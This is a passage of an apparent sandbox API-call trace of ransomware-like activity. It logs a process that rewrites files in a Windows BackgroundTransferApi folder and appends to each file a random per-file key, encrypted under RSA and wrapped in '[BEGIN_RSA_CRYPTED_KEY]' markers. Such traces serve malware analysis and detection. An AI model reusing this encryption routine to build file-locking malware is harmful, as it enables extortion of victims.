lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.130] CloseHandle (hObject=0x1830) returned 1 [0211.147] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.147] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\d3c37a73-91a0-406c-89cb-164b23a60cc7.2eab7492-5633-455d-b98b-79091eb352d4.down_meta", dwFileAttributes=0x80) returned 1 [0211.148] ReadFile (in: hFile=0x1830, lpBuffer=0x66d8b0, nNumberOfBytesToRead=0x5c6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d8b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x5c6, lpOverlapped=0x0) returned 1 [0211.162] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1478, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.162] WriteFile (in: hFile=0x1830, lpBuffer=0x65a0e0*, nNumberOfBytesToWrite=0x5c6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65a0e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5c6, lpOverlapped=0x0) returned 1 [0211.163] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5c6 [0211.163] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.163] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.163] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.164] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.164] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.164] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d8b0, pcchString=0x2e3f9a8 | out: pszString="Q0mCmCRzu+6jAiHc1AjpnqG3eV65A+iBbRSHtjgOPzTtm5R7xv6bCORqmJLhQM2x\n1LSKfSyDYTCiOmBEM7Vb/1CkYX0QW8Ifiw3p1Fdwpvg9x4rx/nhzwDK0pMMtMC1o\nIq12xuvZTAgRla3drTR1su2y8hYiGI/356Lkyy11/pW0gLjTEeMNOJbOwKt10bGa\nA/0IhTswXauJ4P7wPXQsGcN2zBK64MGuZExpol530e7ueciKLIysOcjbwVrsdDlj\nlvegGtuBmjjSbERMhnwU49OjBah4wxM4DIwaErs9j/g2Tul8r8LEw/g+egAer4kQ\nA25NSecs6EGzW/+Li5KMKQ==\n", pcchString=0x2e3f9a8) returned 1 [0211.164] WriteFile (in: hFile=0x1830, lpBuffer=0x66d8b0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d8b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.164] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.164] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.164] CloseHandle (hObject=0x1830) returned 1 [0211.170] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.170] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\ca21c08c-5147-46c8-a773-80b1d97dcaf9.up_meta_body", dwFileAttributes=0x80) returned 1 [0211.171] ReadFile (in: hFile=0x1830, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.171] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.171] WriteFile (in: hFile=0x1830, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.171] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0211.171] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.171] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.173] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.173] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.173] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.173] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d690, pcchString=0x2e3f9a8 | out: pszString="ozLyrUlbGiALCLUIemsFgVla0/IEAZOV3O5T4+fKsCFpfLDexs042Dl9oDqoNsWl\n/pRmg7f0V7W1OVZNlpvYb9JauyP7Kr2jkAVzv+1ws38kjFRLwbBnXHaPmP82aoDX\nPSWMSZGNCfYCG6KpW2QZbfi28jMx4eRgiZBjhFSJ0Cx6B77v7Dk9BA6cMIxIPDlm\nl6wQOr7u/KoFBaDXo0j2ojQxiffaXWZCsqYz9M2DlaznPLmx87Ga3HSaejUFvv/N\nhUjvFxeg+hkOAc+iniZYzYrMyCxQ7rMyYLAG3Kvfy6C1s8ahOft/oWHeEQo0OOUH\n/cYWRiNeBgXcPT6xG1hmWw==\n", pcchString=0x2e3f9a8) returned 1 [0211.173] WriteFile (in: hFile=0x1830, lpBuffer=0x66d690*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d690*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.174] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.174] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.174] CloseHandle (hObject=0x1830) returned 1 [0211.175] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.175] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\ca21c08c-5147-46c8-a773-80b1d97dcaf9.up_meta", dwFileAttributes=0x80) returned 1 [0211.176] ReadFile (in: hFile=0x1830, lpBuffer=0x661f90, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x661f90*, lpNumberOfBytesRead=0x2e3f9b4*=0xda, lpOverlapped=0x0) returned 1 [0211.177] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.177] WriteFile (in: hFile=0x1830, lpBuffer=0x662c40*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662c40*, lpNumberOfBytesWritten=0x2e3f9b4*=0xda, lpOverlapped=0x0) returned 1 [0211.178] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xda [0211.178] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.178] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.178] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.178] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.179] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.179] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d690, pcchString=0x2e3f9a8 | out: pszString="axF/+VJYyI5YlyYuWll1vgwr7B8h5PIdPD/+L9qx982EKO54O82Am8+C4iH9rDcq\nqrr193GpBY1JWLVgbovndzQs6zM478rkoHy9Yd0b4qqT6RU7N88hvjBDxEQXOAby\nrmdNM5Mwm9lM3MRBUgfJ7EMgCS/D/LN4xfJ0WFLOHrZ5Oh9vKQzL4iATIaDZyXqF\n1hLfJjTpDSBODQOhdx40pd/1dXmOZR4WQc1OS/x+lN1soywbwaMhgClzEwtJPyzD\nsvpbnUYRgIT/A9DGdRucXVYkOFqGlTvjh7V2tqQEeRYNdPd097i33kQ3tjfsK7b0\n+DYQqEReZVLs9JNu6TsRJQ==\n", pcchString=0x2e3f9a8) returned 1 [0211.179] WriteFile (in: hFile=0x1830, lpBuffer=0x66d690*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d690*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.180] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.180] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.180] CloseHandle (hObject=0x1830) returned 1 [0211.183] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.183] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\ca21c08c-5147-46c8-a773-80b1d97dcaf9.079f15ac-a3f8-4b88-a4c7-f1a6ae04756a.down_meta", dwFileAttributes=0x80) returned 1 [0211.183] ReadFile (in: hFile=0x1830, lpBuffer=0x66d708, nNumberOfBytesToRead=0x5c6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d708*, lpNumberOfBytesRead=0x2e3f9b4*=0x5c6, lpOverlapped=0x0) returned 1 [0211.337] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1478, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.337] WriteFile (in: hFile=0x1830, lpBuffer=0x65a0e0*, nNumberOfBytesToWrite=0x5c6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65a0e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5c6, lpOverlapped=0x0) returned 1 [0211.337] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5c6 [0211.338] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.338] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.338] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.338] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.338] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.338] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d708, pcchString=0x2e3f9a8 | out: pszString="lbEpr35S8JNA8/6OG8EXI9d9ciRkWFzxH84UOjqYJHvboYrbbDIag65xETsrP0eQ\ncDWdAomMP/6wbrCxlaBKB8taQo0yYIdLSVTjgZneFixt169Fz0KdTjsjHwOoNktm\nsTk7c81/SzgSqSqnC9yg+YA+NZoXQ7LD6xM5AUZrpmKvc7mp7b3jRJPSqWjP9n+K\n0eHUWnspEN57lIQatkWXg0K0qj3ZVZ49/5f6c3pLE+BpNcu4eU3mr998vR+XdlGo\n1IzMhTHftfiH9INN5BFHkRryNpmxm7EA12SL1yLQ7xB9D6gctTXzXJA0uTuzg/Pu\nMDm/PETnsyBHeE1g7qVCRw==\n", pcchString=0x2e3f9a8) returned 1 [0211.338] WriteFile (in: hFile=0x1830, lpBuffer=0x66d708*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d708*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.339] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.339] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.339] CloseHandle (hObject=0x1830) returned 1 [0211.340] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.340] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\c86e3408-9792-4ca6-90ee-da0828306422.up_meta_body", dwFileAttributes=0x80) returned 1 [0211.341] ReadFile (in: hFile=0x1830, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.341] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.341] WriteFile (in: hFile=0x1830, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.341] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0211.341] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.341] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.342] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.342] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.343] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.343] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d4e8, pcchString=0x2e3f9a8 | out: pszString="TSu6zovb/Z6AjkorOTMhYQInwrSc2tlKjbylzWxPyqmPOgf847am1oHRI3WxkTw3\nNkgzG0tAbg1uC78lhDH/o/zRFO28egD+ynopfUeGqN21fqnIFEiPTAgW1e8zNKmp\nvclTAXY5mXGtq9jBtdzGgAbaq0utLtxI3pdgzaR5rOWanJjokUotPS+X8xFQCZ/k\nYdFzLkfaorZacNjptmPHN2kUz8iM6aTprq3NOPO5J3BdDR63tU6YiW7lhiH2l5S0\nhrkNMLa9PXKK5heuYJrMOWvSpVQ09TzQTomZYmv3uTSgZtR0ojy+VAaa3CTmuaPy\nI+tgZbkl1b89vxPbrvllEA==\n", pcchString=0x2e3f9a8) returned 1 [0211.343] WriteFile (in: hFile=0x1830, lpBuffer=0x66d4e8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d4e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.343] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.343] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.343] CloseHandle (hObject=0x1830) returned 1 [0211.344] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.344] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\c86e3408-9792-4ca6-90ee-da0828306422.up_meta", dwFileAttributes=0x80) returned 1 [0211.345] ReadFile (in: hFile=0x1830, lpBuffer=0x5815d0, nNumberOfBytesToRead=0x112, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5815d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x112, lpOverlapped=0x0) returned 1 [0211.346] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-274, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.347] WriteFile (in: hFile=0x1830, lpBuffer=0x5bd3b8*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5bd3b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x112, lpOverlapped=0x0) returned 1 [0211.347] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x112 [0211.347] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.347] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.348] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.348] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.348] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.348] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d4e8, pcchString=0x2e3f9a8 | out: pszString="WkjU9eV1DnPGJYs2hOGVzAajOaDCr9FUfMN5akXSpGVQzLiWZxeYskTZPkfTnjMz\ne/S64nv/X0F50ROyGf36hKY6Riz6lTkpM/aaw01jf8/w9BOJj2FnFfa/+sr5PNdp\nve8KJZjdNd7XMMTf7KD7Vc61HqeB9qjMiC7uxHa4BJgVOU+NrtsJd9TWi/rT0UnD\nhWgoy3o7rWyT+rePTzv1xBfTSe0Qkw99MSzb3EI7ZabN/O6KQvMskPWGiPUMGFaD\n4OzvL3J/jSSrSWMVZzvM6Rd1ChcFJ0+rVVhgZ9PyddKtzcI1B0NZ9FLAziELGybQ\nNbPiDISKLedJEsoLAaKrUQ==\n", pcchString=0x2e3f9a8) returned 1 [0211.348] WriteFile (in: hFile=0x1830, lpBuffer=0x66d4e8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d4e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.349] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.349] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.349] CloseHandle (hObject=0x1830) returned 1 [0211.350] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.350] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\c86e3408-9792-4ca6-90ee-da0828306422.17073f91-c189-4ad7-aa8a-ff1e30efda71.down_meta", dwFileAttributes=0x80) returned 1 [0211.351] ReadFile (in: hFile=0x1830, lpBuffer=0x66d560, nNumberOfBytesToRead=0x5cc, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d560*, lpNumberOfBytesRead=0x2e3f9b4*=0x5cc, lpOverlapped=0x0) returned 1 [0211.414] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1484, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.414] WriteFile (in: hFile=0x1830, lpBuffer=0x66db38*, nNumberOfBytesToWrite=0x5cc, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66db38*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5cc, lpOverlapped=0x0) returned 1 [0211.415] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5cc [0211.415] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.415] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.416] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.416] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.416] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.416] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d560, pcchString=0x2e3f9a8 | out: pszString="+wk5GQVCNGGvJ3L3mm3eiC2fPJdz3mXbB3JcN2pjDAzq01le3CoAYAg3npggJAb5\ndSiL+v9eLZWnn1CJ1pa7u0e5KJsbZiBCYgwFTxLU4MYoGyGpD2ORbSO/5G6zWcJQ\nM2BaoLWriP4IwIKmK2DJXqFXnxO8bTbag5vwUvZw9s3JfbJaNznEkOcy2BVCLKMt\nVxODYbwcS3kblVVRhpjHvd4+ZPN1Jt21TbkRMERvZOMR+6/accHWYSwrAH8EFkWk\nLFiCEnDl1JkopZnjTeHa/4PmG42Yygk+/1gkOp9K7qGs7yl7UQW+pOVhSjFGvCar\nfrUGsAi7b2ZXXyWEOtcOug==\n", pcchString=0x2e3f9a8) returned 1 [0211.416] WriteFile (in: hFile=0x1830, lpBuffer=0x66d560*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d560*, 